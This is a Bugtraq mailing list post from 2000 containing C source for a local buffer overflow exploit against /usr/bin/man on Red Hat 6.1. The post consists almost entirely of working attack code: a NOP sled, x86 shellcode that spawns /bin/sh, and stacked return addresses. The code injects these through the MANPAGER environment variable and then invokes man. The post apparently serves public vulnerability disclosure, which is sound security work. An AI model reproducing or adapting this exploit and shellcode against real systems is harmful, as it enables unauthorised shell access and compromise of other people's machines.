man exploit
Date: Mon, 28 Feb 2000 09:09:17 +0100
From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: man exploit
/*
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
*
* redhat 6.1 /usr/bin/man exploit
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4002
#define ADDRS 1000
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char *buf, *p;
int noplen, i, ofs;
long ret, *ap;
if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
{
perror("malloc()");
return -1;
}
if (argc > 1)
ofs = atoi(argv[1]);
else
ofs = OFS;
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
p = buf + noplen + strlen(execshell);
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
setenv("MANPAGER", buf, 1);
execl("/usr/bin/man", "man", "ls", 0);
return 0;
}
--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin@freebsd.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
